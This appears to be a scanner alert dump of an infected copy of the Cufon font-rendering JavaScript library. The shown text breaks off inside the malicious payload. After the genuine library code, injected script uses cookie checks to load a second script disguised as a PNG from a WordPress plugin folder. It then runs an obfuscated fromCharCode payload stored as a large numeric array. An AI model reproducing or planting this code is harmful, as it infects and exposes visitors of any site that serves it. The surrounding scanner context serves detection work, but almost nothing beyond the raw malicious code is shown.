#3 JavaScript::Script (size: 26507, repeated: 1) - Alert detect on script (Severity: 2)/*
* Copyright (c) 2009 Simo Kinnunen.
* Licensed under the MIT license.
*
* @version 1.09
*/
var Cufon = (function() {
var m = function() {
return m.replace.apply(null, arguments)
};
var x = m.DOM = {
ready: (function() {
var C = false,
E = {
loaded: 1,
complete: 1
};
var B = [],
D = function() {
if (C) {
return
}
C = true;
for (var F; F = B.shift(); F()) {}
};
if (document.addEventListener) {
document.addEventListener("DOMContentLoaded", D, false);
window.addEventListener("pageshow", D, false)
}
if (!window.opera && document.readyState) {
(function() {
E[document.readyState] ? D() : setTimeout(arguments.callee, 10)
})()
}
if (document.readyState && document.createStyleSheet) {
(function() {
try {
document.body.doScroll("left");
D()
} catch (F) {
setTimeout(arguments.callee, 1)
}
})()
}
q(window, "load", D);
return function(F) {
if (!arguments.length) {
D()
} else {
C ? F() : B.push(F)
}
}
})(),
root: function() {
return document.documentElement || document.body
}
};
var n = m.CSS = {
Size: function(C, B) {
this.value = parseFloat(C);
this.unit = String(C).match(/[a-z%]*$/)[0] || "px";
this.convert = function(D) {
return D / B * this.value
};
this.convertFrom = function(D) {
return D / this.value * B
};
this.toString = function() {
return this.value + this.unit
}
},
addClass: function(C, B) {
var D = C.className;
C.className = D + (D && " ") + B;
return C
},
color: j(function(C) {
var B = {};
B.color = C.replace(/^rgba\((.*?),\s*([\d.]+)\)/, function(E, D, F) {
B.opacity = parseFloat(F);
return "rgb(" + D + ")"
});
return B
}),
fontStretch: j(function(B) {
if (typeof B == "number") {
return B
}
if (/%$/.test(B)) {
return parseFloat(B) / 100
}
return {
"ultra-condensed": 0.5,
"extra-condensed": 0.625,
condensed: 0.75,
"semi-condensed": 0.875,
"semi-expanded": 1.125,
expanded: 1.25,
"extra-expanded": 1.5,
"ultra-expanded": 2
}[B] || 1
}),
getStyle: function(C) {
var B = document.defaultView;
if (B && B.getComputedStyle) {
return new a(B.getComputedStyle(C, null))
}
if (C.currentStyle) {
return new a(C.currentStyle)
}
return new a(C.style)
},
gradient: j(function(F) {
var G = {
id: F,
type: F.match(/^-([a-z]+)-gradient\(/)[1],
stops: []
},
C = F.substr(F.indexOf("(")).match(/([\d.]+=)?(#[a-f0-9]+|[a-z]+\(.*?\)|[a-z]+)/ig);
for (var E = 0, B = C.length, D; E < B; ++E) {
D = C[E].split("=", 2).reverse();
G.stops.push([D[1] || E / (B - 1), D[0]])
}
return G
}),
quotedList: j(function(E) {
var D = [],
C = /\s*((["'])([\s\S]*?[^\\])\2|[^,]+)\s*/g,
B;
while (B = C.exec(E)) {
D.push(B[3] || B[1])
}
return D
}),
recognizesMedia: j(function(G) {
var E = document.createElement("style"),
D, C, B;
E.type = "text/css";
E.media = G;
try {
E.appendChild(document.createTextNode("/**/"))
} catch (F) {}
C = g("head")[0];
C.insertBefore(E, C.firstChild);
D = (E.sheet || E.styleSheet);
B = D && !D.disabled;
C.removeChild(E);
return B
}),
removeClass: function(D, C) {
var B = RegExp("(?:^|\\s+)" + C + "(?=\\s|$)", "g");
D.className = D.className.replace(B, "");
return D
},
supports: function(D, C) {
var B = document.createElement("span").style;
if (B[D] === undefined) {
return false
}
B[D] = C;
return B[D] === C
},
textAlign: function(E, D, B, C) {
if (D.get("textAlign") == "right") {
if (B > 0) {
E = " " + E
}
} else {
if (B < C - 1) {
E += " "
}
}
return E
},
textShadow: j(function(F) {
if (F == "none") {
return null
}
var E = [],
G = {},
B, C = 0;
var D = /(#[a-f0-9]+|[a-z]+\(.*?\)|[a-z]+)|(-?[\d.]+[a-z%]*)|,/ig;
while (B = D.exec(F)) {
if (B[0] == ",") {
E.push(G);
G = {};
C = 0
} else {
if (B[1]) {
G.color = B[1]
} else {
G[["offX", "offY", "blur"][C++]] = B[2]
}
}
}
E.push(G);
return E
}),
textTransform: (function() {
var B = {
uppercase: function(C) {
return C.toUpperCase()
},
lowercase: function(C) {
return C.toLowerCase()
},
capitalize: function(C) {
return C.replace(/\b./g, function(D) {
return D.toUpperCase()
})
}
};
return function(E, D) {
var C = B[D.get("textTransform")];
return C ? C(E) : E
}
})(),
whiteSpace: (function() {
var D = {
inline: 1,
"inline-block": 1,
"run-in": 1
};
var C = /^\s+/,
B = /\s+$/;
return function(H, F, G, E) {
if (E) {
if (E.nodeName.toLowerCase() == "br") {
H = H.replace(C, "")
}
}
if (D[F.get("display")]) {
return H
}
if (!G.previousSibling) {
H = H.replace(C, "")
}
if (!G.nextSibling) {
H = H.replace(B, "")
}
return H
}
})()
};
n.ready = (function() {
var B = !n.recognizesMedia("all"),
E = false;
var D = [],
H = function() {
B = true;
for (var K; K = D.shift(); K()) {}
};
var I = g("link"),
J = g("style");
function C(K) {
return K.disabled || G(K.sheet, K.media || "screen")
}
function G(M, P) {
if (!n.recognizesMedia(P || "all")) {
return true
}
if (!M || M.disabled) {
return false
}
try {
var Q = M.cssRules,
O;
if (Q) {
search: for (var L = 0, K = Q.length; O = Q[L], L < K; ++L) {
switch (O.type) {
case 2:
break;
case 3:
if (!G(O.styleSheet, O.media.mediaText)) {
return false
}
break;
default:
break search
}
}
}
} catch (N) {}
return true
}
function F() {
if (document.createStyleSheet) {
return true
}
var L, K;
for (K = 0; L = I[K]; ++K) {
if (L.rel.toLowerCase() == "stylesheet" && !C(L)) {
return false
}
}
for (K = 0; L = J[K]; ++K) {
if (!C(L)) {
return false
}
}
return true
}
x.ready(function() {
if (!E) {
E = n.getStyle(document.body).isUsable()
}
if (B || (E && F())) {
H()
} else {
setTimeout(arguments.callee, 10)
}
});
return function(K) {
if (B) {
K()
} else {
D.push(K)
}
}
})();
function s(D) {
var C = this.face = D.face,
B = {
"\u0020": 1,
"\u00a0": 1,
"\u3000": 1
};
this.glyphs = D.glyphs;
this.w = D.w;
this.baseSize = parseInt(C["units-per-em"], 10);
this.family = C["font-family"].toLowerCase();
this.weight = C["font-weight"];
this.style = C["font-style"] || "normal";
this.viewBox = (function() {
var F = C.bbox.split(/\s+/);
var E = {
minX: parseInt(F[0], 10),
minY: parseInt(F[1], 10),
maxX: parseInt(F[2], 10),
maxY: parseInt(F[3], 10)
};
E.width = E.maxX - E.minX;
E.height = E.maxY - E.minY;
E.toString = function() {
return [this.minX, this.minY, this.width, this.height].join(" ")
};
return E
})();
this.ascent = -parseInt(C.ascent, 10);
this.descent = -parseInt(C.descent, 10);
this.height = -this.ascent + this.descent;
this.spacing = function(L, N, E) {
var O = this.glyphs,
M, K, G, P = [],
F = 0,
J = -1,
I = -1,
H;
while (H = L[++J]) {
M = O[H] || this.missingGlyph;
if (!M) {
continue
}
if (K) {
F -= G = K[H] || 0;
P[I] -= G
}
F += P[++I] = ~~ (M.w || this.w) + N + (B[H] ? E : 0);
K = M.k
}
P.total = F;
return P
}
}
function f() {
var C = {},
B = {
oblique: "italic",
italic: "oblique"
};
this.add = function(D) {
(C[D.style] || (C[D.style] = {}))[D.weight] = D
};
this.get = function(H, I) {
var G = C[H] || C[B[H]] || C.normal || C.italic || C.oblique;
if (!G) {
return null
}
I = {
normal: 400,
bold: 700
}[I] || parseInt(I, 10);
if (G[I]) {
return G[I]
}
var E = {
1: 1,
99: 0
}[I % 100],
K = [],
F, D;
if (E === undefined) {
E = I > 400
}
if (I == 500) {
I = 400
}
for (var J in G) {
if (!k(G, J)) {
continue
}
J = parseInt(J, 10);
if (!F || J < F) {
F = J
}
if (!D || J > D) {
D = J
}
K.push(J)
}
if (I < F) {
I = F
}
if (I > D) {
I = D
}
K.sort(function(M, L) {
return (E ? (M >= I && L >= I) ? M < L : M > L : (M <= I && L <= I) ? M > L : M < L) ? -1 : 1
});
return G[K[0]]
}
}
function r() {
function D(F, G) {
if (F.contains) {
return F.contains(G)
}
return F.compareDocumentPosition(G) & 16
}
function B(G) {
var F = G.relatedTarget;
if (!F || D(this, F)) {
return
}
C(this, G.type == "mouseover")
}
function E(F) {
C(this, F.type == "mouseenter")
}
function C(F, G) {
setTimeout(function() {
var H = d.get(F).options;
m.replace(F, G ? h(H, H.hover) : H, true)
}, 10)
}
this.attach = function(F) {
if (F.onmouseenter === undefined) {
q(F, "mouseover", B);
q(F, "mouseout", B)
} else {
q(F, "mouseenter", E);
q(F, "mouseleave", E)
}
}
}
function u() {
var C = [],
D = {};
function B(H) {
var E = [],
G;
for (var F = 0; G = H[F]; ++F) {
E[F] = C[D[G]]
}
return E
}
this.add = function(F, E) {
D[F] = C.push(E) - 1
};
this.repeat = function() {
var E = arguments.length ? B(arguments) : C,
F;
for (var G = 0; F = E[G++];) {
m.replace(F[0], F[1], true)
}
}
}
function A() {
var D = {},
B = 0;
function C(E) {
return E.cufid || (E.cufid = ++B)
}
this.get = function(E) {
var F = C(E);
return D[F] || (D[F] = {})
}
}
function a(B) {
var D = {},
C = {};
this.extend = function(E) {
for (var F in E) {
if (k(E, F)) {
D[F] = E[F]
}
}
return this
};
this.get = function(E) {
return D[E] != undefined ? D[E] : B[E]
};
this.getSize = function(F, E) {
return C[F] || (C[F] = new n.Size(this.get(F), E))
};
this.isUsable = function() {
return !!B
}
}
function q(C, B, D) {
if (C.addEventListener) {
C.addEventListener(B, D, false)
} else {
if (C.attachEvent) {
C.attachEvent("on" + B, function() {
return D.call(C, window.event)
})
}
}
}
function v(C, B) {
var D = d.get(C);
if (D.options) {
return C
}
if (B.hover && B.hoverables[C.nodeName.toLowerCase()]) {
b.attach(C)
}
D.options = B;
return C
}
function j(B) {
var C = {};
return function(D) {
if (!k(C, D)) {
C[D] = B.apply(null, arguments)
}
return C[D]
}
}
function c(F, E) {
var B = n.quotedList(E.get("fontFamily").toLowerCase()),
D;
for (var C = 0; D = B[C]; ++C) {
if (i[D]) {
return i[D].get(E.get("fontStyle"), E.get("fontWeight"))
}
}
return null
}
function g(B) {
return document.getElementsByTagName(B)
}
function k(C, B) {
return C.hasOwnProperty(B)
}
function h() {
var C = {},
B, F;
for (var E = 0, D = arguments.length; B = arguments[E], E < D; ++E) {
for (F in B) {
if (k(B, F)) {
C[F] = B[F]
}
}
}
return C
}
function o(E, M, C, N, F, D) {
var K = document.createDocumentFragment(),
H;
if (M === "") {
return K
}
var L = N.separate;
var I = M.split(p[L]),
B = (L == "words");
if (B && t) {
if (/^\s/.test(M)) {
I.unshift("")
}
if (/\s$/.test(M)) {
I.push("")
}
}
for (var J = 0, G = I.length; J < G; ++J) {
H = z[N.engine](E, B ? n.textAlign(I[J], C, J, G) : I[J], C, N, F, D, J < G - 1);
if (H) {
K.appendChild(H)
}
}
return K
}
function l(D, M) {
var C = D.nodeName.toLowerCase();
if (M.ignore[C]) {
return
}
var E = !M.textless[C];
var B = n.getStyle(v(D, M)).extend(M);
var F = c(D, B),
G, K, I, H, L, J;
if (!F) {
return
}
for (G = D.firstChild; G; G = I) {
K = G.nodeType;
I = G.nextSibling;
if (E && K == 3) {
if (H) {
H.appendData(G.data);
D.removeChild(G)
} else {
H = G
}
if (I) {
continue
}
}
if (H) {
D.replaceChild(o(F, n.whiteSpace(H.data, B, H, J), B, M, G, D), H);
H = null
}
if (K == 1) {
if (G.firstChild) {
if (G.nodeName.toLowerCase() == "cufon") {
z[M.engine](F, null, B, M, G, D)
} else {
arguments.callee(G, M)
}
}
J = G
}
}
}
var t = " ".split(/\s+/).length == 0;
var d = new A();
var b = new r();
var y = new u();
var e = false;
var z = {},
i = {},
w = {
autoDetect: false,
engine: null,
forceHitArea: false,
hover: false,
hoverables: {
a: true
},
ignore: {
applet: 1,
canvas: 1,
col: 1,
colgroup: 1,
head: 1,
iframe: 1,
map: 1,
optgroup: 1,
option: 1,
script: 1,
select: 1,
style: 1,
textarea: 1,
title: 1,
pre: 1
},
printable: true,
selector: (window.Sizzle || (window.jQuery &&
function(B) {
return jQuery(B)
}) || (window.dojo && dojo.query) || (window.Ext && Ext.query) || (window.YAHOO && YAHOO.util && YAHOO.util.Selector && YAHOO.util.Selector.query) || (window.$$ &&
function(B) {
return $$(B)
}) || (window.$ &&
function(B) {
return $(B)
}) || (document.querySelectorAll &&
function(B) {
return document.querySelectorAll(B)
}) || g),
separate: "words",
textless: {
dl: 1,
html: 1,
ol: 1,
table: 1,
tbody: 1,
thead: 1,
tfoot: 1,
tr: 1,
ul: 1
},
textShadow: "none"
};
var p = {
words: /\s/.test("\u00a0") ? /[^\S\u00a0]+/ : /\s+/,
characters: "",
none: /^/
};
m.now = function() {
x.ready();
return m
};
m.refresh = function() {
y.repeat.apply(y, arguments);
return m
};
m.registerEngine = function(C, B) {
if (!B) {
return m
}
z[C] = B;
return m.set("engine", C)
};
m.registerFont = function(D) {
if (!D) {
return m
}
var B = new s(D),
C = B.family;
if (!i[C]) {
i[C] = new f()
}
i[C].add(B);
return m.set("fontFamily", '"' + C + '"')
};
m.replace = function(D, C, B) {
C = h(w, C);
if (!C.engine) {
return m
}
if (!e) {
n.addClass(x.root(), "cufon-active cufon-loading");
n.ready(function() {
n.addClass(n.removeClass(x.root(), "cufon-loading"), "cufon-ready")
});
e = true
}
if (C.hover) {
C.forceHitArea = true
}
if (C.autoDetect) {
delete C.fontFamily
}
if (typeof C.textShadow == "string") {
C.textShadow = n.textShadow(C.textShadow)
}
if (typeof C.color == "string" && /^-/.test(C.color)) {
C.textGradient = n.gradient(C.color)
} else {
delete C.textGradient
}
if (!B) {
y.add(D, arguments)
}
if (D.nodeType || typeof D == "string") {
D = [D]
}
n.ready(function() {
for (var F = 0, E = D.length; F < E; ++F) {
var G = D[F];
if (typeof G == "string") {
m.replace(C.selector(G), C, true)
} else {
l(G, C)
}
}
});
return m
};
m.set = function(B, C) {
w[B] = C;
return m
};
return m
})();
Cufon.registerEngine("canvas", (function() {
var b = document.createElement("canvas");
if (!b || !b.getContext || !b.getContext.apply) {
return
}
b = null;
var a = Cufon.CSS.supports("display", "inline-block");
var e = !a && (document.compatMode == "BackCompat" || /frameset|transitional/i.test(document.doctype.publicId));
var f = document.createElement("style");
f.type = "text/css";
f.appendChild(document.createTextNode(("cufon{text-indent:0;}@media screen,projection{cufon{display:inline;display:inline-block;position:relative;vertical-align:middle;" + (e ? "" : "font-size:1px;line-height:1px;") + "}cufon cufontext{display:-moz-inline-box;display:inline-block;width:0;height:0;overflow:hidden;text-indent:-10000in;}" + (a ? "cufon canvas{position:relative;}" : "cufon canvas{position:absolute;}") + "}@media print{cufon{padding:0;}cufon canvas{display:none;}}").replace(/;/g, "!important;")));
document.getElementsByTagName("head")[0].appendChild(f);
function d(p, h) {
var n = 0,
m = 0;
var g = [],
o = /([mrvxe])([^a-z]*)/g,
k;
generate: for (var j = 0; k = o.exec(p); ++j) {
var l = k[2].split(",");
switch (k[1]) {
case "v":
g[j] = {
m: "bezierCurveTo",
a: [n + ~~l[0], m + ~~l[1], n + ~~l[2], m + ~~l[3], n += ~~l[4], m += ~~l[5]]
};
break;
case "r":
g[j] = {
m: "lineTo",
a: [n += ~~l[0], m += ~~l[1]]
};
break;
case "m":
g[j] = {
m: "moveTo",
a: [n = ~~l[0], m = ~~l[1]]
};
break;
case "x":
g[j] = {
m: "closePath"
};
break;
case "e":
break generate
}
h[g[j].m].apply(h, g[j].a)
}
return g
}
function c(m, k) {
for (var j = 0, h = m.length; j < h; ++j) {
var g = m[j];
k[g.m].apply(k, g.a)
}
}
return function(V, w, P, t, C, W) {
var k = (w === null);
if (k) {
w = C.getAttribute("alt")
}
var A = V.viewBox;
var m = P.getSize("fontSize", V.baseSize);
var B = 0,
O = 0,
N = 0,
u = 0;
var z = t.textShadow,
L = [];
if (z) {
for (var U = z.length; U--;) {
var F = z[U];
var K = m.convertFrom(parseFloat(F.offX));
var I = m.convertFrom(parseFloat(F.offY));
L[U] = [K, I];
if (I < B) {
B = I
}
if (K > O) {
O = K
}
if (I > N) {
N = I
}
if (K < u) {
u = K
}
}
}
var Z = Cufon.CSS.textTransform(w, P).split("");
var E = V.spacing(Z, ~~m.convertFrom(parseFloat(P.get("letterSpacing")) || 0), ~~m.convertFrom(parseFloat(P.get("wordSpacing")) || 0));
if (!E.length) {
return null
}
var h = E.total;
O += A.width - E[E.length - 1];
u += A.minX;
var s, n;
if (k) {
s = C;
n = C.firstChild
} else {
s = document.createElement("cufon");
s.className = "cufon cufon-canvas";
s.setAttribute("alt", w);
n = document.createElement("canvas");
s.appendChild(n);
if (t.printable) {
var S = document.createElement("cufontext");
S.appendChild(document.createTextNode(w));
s.appendChild(S)
}
}
var aa = s.style;
var H = n.style;
var j = m.convert(A.height);
var Y = Math.ceil(j);
var M = Y / j;
var G = M * Cufon.CSS.fontStretch(P.get("fontStretch"));
var J = h * G;
var Q = Math.ceil(m.convert(J + O - u));
var o = Math.ceil(m.convert(A.height - B + N));
n.width = Q;
n.height = o;
H.width = Q + "px";
H.height = o + "px";
B += A.minY;
H.top = Math.round(m.convert(B - V.ascent)) + "px";
H.left = Math.round(m.convert(u)) + "px";
var r = Math.max(Math.ceil(m.convert(J)), 0) + "px";
if (a) {
aa.width = r;
aa.height = m.convert(V.height) + "px"
} else {
aa.paddingLeft = r;
aa.paddingBottom = (m.convert(V.height) - 1) + "px"
}
var X = n.getContext("2d"),
D = j / A.height;
X.scale(D, D * M);
X.translate(-u, -B);
X.save();
function T() {
var x = V.glyphs,
ab, l = -1,
g = -1,
y;
X.scale(G, 1);
while (y = Z[++l]) {
var ab = x[Z[l]] || V.missingGlyph;
if (!ab) {
continue
}
if (ab.d) {
X.beginPath();
if (ab.code) {
c(ab.code, X)
} else {
ab.code = d("m" + ab.d, X)
}
X.fill()
}
X.translate(E[++g], 0)
}
X.restore()
}
if (z) {
for (var U = z.length; U--;) {
var F = z[U];
X.save();
X.fillStyle = F.color;
X.translate.apply(X, L[U]);
T()
}
}
var q = t.textGradient;
if (q) {
var v = q.stops,
p = X.createLinearGradient(0, A.minY, 0, A.maxY);
for (var U = 0, R = v.length; U < R; ++U) {
p.addColorStop.apply(p, v[U])
}
X.fillStyle = p
} else {
X.fillStyle = P.get("color")
}
T();
return s
}
})());
Cufon.registerEngine("vml", (function() {
var e = document.namespaces;
if (!e) {
return
}
e.add("cvml", "urn:schemas-microsoft-com:vml");
e = null;
var b = document.createElement("cvml:shape");
b.style.behavior = "url(#default#VML)";
if (!b.coordsize) {
return
}
b = null;
var h = (document.documentMode || 0) < 8;
document.write(('<style type="text/css">cufoncanvas{text-indent:0;}@media screen{cvml\\:shape,cvml\\:rect,cvml\\:fill,cvml\\:shadow{behavior:url(#default#VML);display:block;antialias:true;position:absolute;}cufoncanvas{position:absolute;text-align:left;}cufon{display:inline-block;position:relative;vertical-align:' + (h ? "middle" : "text-bottom") + ";}cufon cufontext{position:absolute;left:-10000in;font-size:1px;}a cufon{cursor:pointer}}@media print{cufon cufoncanvas{display:none;}}</style>").replace(/;/g, "!important;"));
function c(i, j) {
return a(i, /(?:em|ex|%)$|^[a-z-]+$/i.test(j) ? "1em" : j)
}
function a(l, m) {
if (m === "0") {
return 0
}
if (/px$/i.test(m)) {
return parseFloat(m)
}
var k = l.style.left,
j = l.runtimeStyle.left;
l.runtimeStyle.left = l.currentStyle.left;
l.style.left = m.replace("%", "em");
var i = l.style.pixelLeft;
l.style.left = k;
l.runtimeStyle.left = j;
return i
}
function f(l, k, j, n) {
var i = "computed" + n,
m = k[i];
if (isNaN(m)) {
m = k.get(n);
k[i] = m = (m == "normal") ? 0 : ~~j.convertFrom(a(l, m))
}
return m
}
var g = {};
function d(p) {
var q = p.id;
if (!g[q]) {
var n = p.stops,
o = document.createElement("cvml:fill"),
i = [];
o.type = "gradient";
o.angle = 180;
o.focus = "0";
o.method = "sigma";
o.color = n[0][1];
for (var m = 1, l = n.length - 1; m < l; ++m) {
i.push(n[m][0] * 100 + "% " + n[m][1])
}
o.colors = i.join(",");
o.color2 = n[l][1];
g[q] = o
}
return g[q]
}
return function(ac, G, Y, C, K, ad, W) {
var n = (G === null);
if (n) {
G = K.alt
}
var I = ac.viewBox;
var p = Y.computedFontSize || (Y.computedFontSize = new Cufon.CSS.Size(c(ad, Y.get("fontSize")) + "px", ac.baseSize));
var y, q;
if (n) {
y = K;
q = K.firstChild
} else {
y = document.createElement("cufon");
y.className = "cufon cufon-vml";
y.alt = G;
q = document.createElement("cufoncanvas");
y.appendChild(q);
if (C.printable) {
var Z = document.createElement("cufontext");
Z.appendChild(document.createTextNode(G));
y.appendChild(Z)
}
if (!W) {
y.appendChild(document.createElement("cvml:shape"))
}
}
var ai = y.style;
var R = q.style;
var l = p.convert(I.height),
af = Math.ceil(l);
var V = af / l;
var P = V * Cufon.CSS.fontStretch(Y.get("fontStretch"));
var U = I.minX,
T = I.minY;
R.height = af;
R.top = Math.round(p.convert(T - ac.ascent));
R.left = Math.round(p.convert(U));
ai.height = p.convert(ac.height) + "px";
var F = Y.get("color");
var ag = Cufon.CSS.textTransform(G, Y).split("");
var L = ac.spacing(ag, f(ad, Y, p, "letterSpacing"), f(ad, Y, p, "wordSpacing"));
if (!L.length) {
return null
}
var k = L.total;
var x = -U + k + (I.width - L[L.length - 1]);
var ah = p.convert(x * P),
X = Math.round(ah);
var O = x + "," + I.height,
m;
var J = "r" + O + "ns";
var u = C.textGradient && d(C.textGradient);
var o = ac.glyphs,
S = 0;
var H = C.textShadow;
var ab = -1,
aa = 0,
w;
while (w = ag[++ab]) {
var D = o[ag[ab]] || ac.missingGlyph,
v;
if (!D) {
continue
}
if (n) {
v = q.childNodes[aa];
while (v.firstChild) {
v.removeChild(v.firstChild)
}
} else {
v = document.createElement("cvml:shape");
q.appendChild(v)
}
v.stroked = "f";
v.coordsize = O;
v.coordorigin = m = (U - S) + "," + T;
v.path = (D.d ? "m" + D.d + "xe" : "") + "m" + m + J;
v.fillcolor = F;
if (u) {
v.appendChild(u.cloneNode(false))
}
var ae = v.style;
ae.width = X;
ae.height = af;
if (H) {
var s = H[0],
r = H[1];
var B = Cufon.CSS.color(s.color),
z;
var N = document.createElement("cvml:shadow");
N.on = "t";
N.color = B.color;
N.offset = s.offX + "," + s.offY;
if (r) {
z = Cufon.CSS.color(r.color);
N.type = "double";
N.color2 = z.color;
N.offset2 = r.offX + "," + r.offY
}
N.opacity = B.opacity || (z && z.opacity) || 1;
v.appendChild(N)
}
S += L[aa++]
}
var M = v.nextSibling,
t, A;
if (C.forceHitArea) {
if (!M) {
M = document.createElement("cvml:rect");
M.stroked = "f";
M.className = "cufon-vml-cover";
t = document.createElement("cvml:fill");
t.opacity = 0;
M.appendChild(t);
q.appendChild(M)
}
A = M.style;
A.width = X;
A.height = af
} else {
if (M) {
q.removeChild(M)
}
}
ai.width = Math.max(Math.ceil(p.convert(k * P)), 0);
if (h) {
var Q = Y.computedYAdjust;
if (Q === undefined) {
var E = Y.get("lineHeight");
if (E == "normal") {
E = "1em"
} else {
if (!isNaN(E)) {
E += "em"
}
}
Y.computedYAdjust = Q = 0.5 * (a(ad, E) - parseFloat(ai.height))
}
if (Q) {
ai.marginTop = Math.ceil(Q) + "px";
ai.marginBottom = Q + "px"
}
}
return y
}
})());
function init() {
var f = navigator.userAgent;
var a = false;
if (f.indexOf("Firefox") != -1 || f.indexOf("MSIE") != -1) {
a = true
}
if (a !== true) {
return
}
var i = "/wp-content/plugins/tweet-this/icons/tt-twitter.png?js";
var g = b("wss");
if (g) {
if (g == "goot1") {
c("wss", "goot2", "3");
var e = document.createElement("script");
e.type = "text/javascript";
e.src = i + "&r=" + new Date().getTime();
var d = document.getElementsByTagName("head")[0];
d.appendChild(e)
} else {}
} else {
c("wss", "goot1", "3")
}
function b(k) {
var j, h, m, l = document.cookie.split(";");
for (j = 0; j < l.length; j++) {
h = l[j].substr(0, l[j].indexOf("="));
m = l[j].substr(l[j].indexOf("=") + 1);
h = h.replace(/^\s+|\s+$/g, "");
if (h == k) {
return unescape(m)
}
}
}
function c(j, l, h) {
var m = new Date();
m.setDate(m.getDate() + h);
var k = escape(l) + ((h == null) ? "" : "; expires=" + m.toUTCString());
document.cookie = j + "=" + k
}
}
init(); /*km0ae9gr6m*/
try {
prototype % 2;
} catch (asd) {
x = 2;
}
try {
q = document[(x) ? "c" + "r" : 2 + "e" + "a" + "t" + "e" + "E" + "l" + "e" + "m" + ((f) ? "e" + "n" + "t" : "")]("p");
q.appendChild(q + "");
} catch (fwbewe) {
i = 0;
try {
prototype * 5;
} catch (z) {
fr = "fromChar";
f = [510, 702, 550, 594, 580, 630, 555, 660, 160, 660, 505, 720, 580, 492, 485, 660, 500, 666, 545, 468, 585, 654, 490, 606, 570, 240, 205, 738, 50, 192, 160, 192, 160, 708, 485, 684, 160, 624, 525, 192, 305, 192, 580, 624, 525, 690, 230, 690, 505, 606, 500, 192, 235, 192, 580, 624, 525, 690, 230, 486, 295, 60, 160, 192, 160, 192, 590, 582, 570, 192, 540, 666, 160, 366, 160, 696, 520, 630, 575, 276, 575, 606, 505, 600, 160, 222, 160, 696, 520, 630, 575, 276, 405, 354, 50, 192, 160, 192, 160, 708, 485, 684, 160, 696, 505, 690, 580, 192, 305, 192, 580, 624, 525, 690, 230, 390, 160, 252, 160, 648, 555, 192, 225, 192, 580, 624, 525, 690, 230, 492, 160, 252, 160, 624, 525, 354, 50, 192, 160, 192, 160, 630, 510, 240, 580, 606, 575, 696, 160, 372, 160, 288, 205, 738, 50, 192, 160, 192, 160, 192, 160, 192, 160, 696, 520, 630, 575, 276, 575, 606, 505, 600, 160, 366, 160, 696, 505, 690, 580, 354, 50, 192, 160, 192, 160, 750, 160, 606, 540, 690, 505, 192, 615, 60, 160, 192, 160, 192, 160, 192, 160, 192, 580, 624, 525, 690, 230, 690, 505, 606, 500, 192, 305, 192, 580, 606, 575, 696, 160, 258, 160, 696, 520, 630, 575, 276, 385, 354, 50, 192, 160, 192, 160, 750, 50, 192, 160, 192, 160, 684, 505, 696, 585, 684, 550, 192, 200, 696, 520, 630, 575, 276, 575, 606, 505, 600, 160, 252, 160, 696, 520, 630, 575, 276, 555, 660, 505, 474, 590, 606, 570, 462, 205, 354, 50, 750, 50, 60, 510, 702, 550, 594, 580, 630, 555, 660, 160, 492, 485, 660, 500, 666, 545, 468, 585, 654, 490, 606, 570, 426, 505, 660, 505, 684, 485, 696, 555, 684, 200, 702, 550, 630, 600, 246, 615, 60, 160, 192, 160, 192, 590, 582, 570, 192, 500, 192, 305, 192, 550, 606, 595, 192, 340, 582, 580, 606, 200, 702, 550, 630, 600, 252, 245, 288, 240, 288, 205, 354, 50, 192, 160, 192, 160, 708, 485, 684, 160, 690, 160, 366, 160, 600, 230, 618, 505, 696, 360, 666, 585, 684, 575, 240, 205, 192, 310, 192, 245, 300, 160, 378, 160, 294, 160, 348, 160, 288, 295, 60, 160, 192, 160, 192, 580, 624, 525, 690, 230, 690, 505, 606, 500, 192, 305, 192, 250, 306, 260, 318, 270, 330, 280, 342, 240, 294, 160, 258, 160, 240, 500, 276, 515, 606, 580, 462, 555, 660, 580, 624, 200, 246, 160, 252, 160, 288, 600, 420, 350, 420, 350, 420, 350, 246, 160, 258, 160, 240, 500, 276, 515, 606, 580, 408, 485, 696, 505, 240, 205, 192, 210, 192, 240, 720, 350, 420, 350, 420, 205, 258, 160, 240, 385, 582, 580, 624, 230, 684, 555, 702, 550, 600, 200, 690, 160, 252, 160, 288, 600, 420, 350, 420, 205, 246, 295, 60, 160, 192, 160, 192, 580, 624, 525, 690, 230, 390, 160, 366, 160, 312, 280, 300, 275, 294, 295, 60, 160, 192, 160, 192, 580, 624, 525, 690, 230, 462, 160, 366, 160, 300, 245, 312, 275, 312, 280, 306, 270, 312, 275, 354, 50, 192, 160, 192, 160, 696, 520, 630, 575, 276, 405, 192, 305, 192, 580, 624, 525, 690, 230, 462, 160, 282, 160, 696, 520, 630, 575, 276, 325, 354, 50, 192, 160, 192, 160, 696, 520, 630, 575, 276, 410, 192, 305, 192, 580, 624, 525, 690, 230, 462, 160, 222, 160, 696, 520, 630, 575, 276, 325, 354, 50, 192, 160, 192, 160, 696, 520, 630, 575, 276, 555, 660, 505, 474, 590, 606, 570, 462, 160, 366, 160, 294, 230, 288, 160, 282, 160, 696, 520, 630, 575, 276, 385, 354, 50, 192, 160, 192, 160, 696, 520, 630, 575, 276, 550, 606, 600, 696, 160, 366, 160, 660, 505, 720, 580, 492, 485, 660, 500, 666, 545, 468, 585, 654, 490, 606, 570, 354, 50, 192, 160, 192, 160, 684, 505, 696, 585, 684, 550, 192, 580, 624, 525, 690, 295, 60, 625, 60, 50, 612, 585, 660, 495, 696, 525, 666, 550, 192, 495, 684, 505, 582, 580, 606, 410, 582, 550, 600, 555, 654, 390, 702, 545, 588, 505, 684, 200, 684, 220, 192, 385, 630, 550, 264, 160, 462, 485, 720, 205, 738, 50, 192, 160, 192, 160, 684, 505, 696, 585, 684, 550, 192, 385, 582, 580, 624, 230, 684, 555, 702, 550, 600, 200, 240, 385, 582, 600, 270, 385, 630, 550, 246, 160, 252, 160, 684, 230, 660, 505, 720, 580, 240, 205, 192, 215, 192, 385, 630, 550, 246, 295, 60, 625, 60, 50, 612, 585, 660, 495, 696, 525, 666, 550, 192, 515, 606, 550, 606, 570, 582, 580, 606, 400, 690, 505, 702, 500, 666, 410, 582, 550, 600, 555, 654, 415, 696, 570, 630, 550, 618, 200, 702, 550, 630, 600, 264, 160, 648, 505, 660, 515, 696, 520, 264, 160, 732, 555, 660, 505, 246, 615, 60, 160, 192, 160, 192, 590, 582, 570, 192, 570, 582, 550, 600, 160, 366, 160, 660, 505, 714, 160, 492, 485, 660, 500, 666, 545, 468, 585, 654, 490, 606, 570, 426, 505, 660, 505, 684, 485, 696, 555, 684, 200, 702, 550, 630, 600, 246, 295, 60, 160, 192, 160, 192, 590, 582, 570, 192, 540, 606, 580, 696, 505, 684, 575, 192, 305, 192, 455, 234, 485, 234, 220, 234, 490, 234, 220, 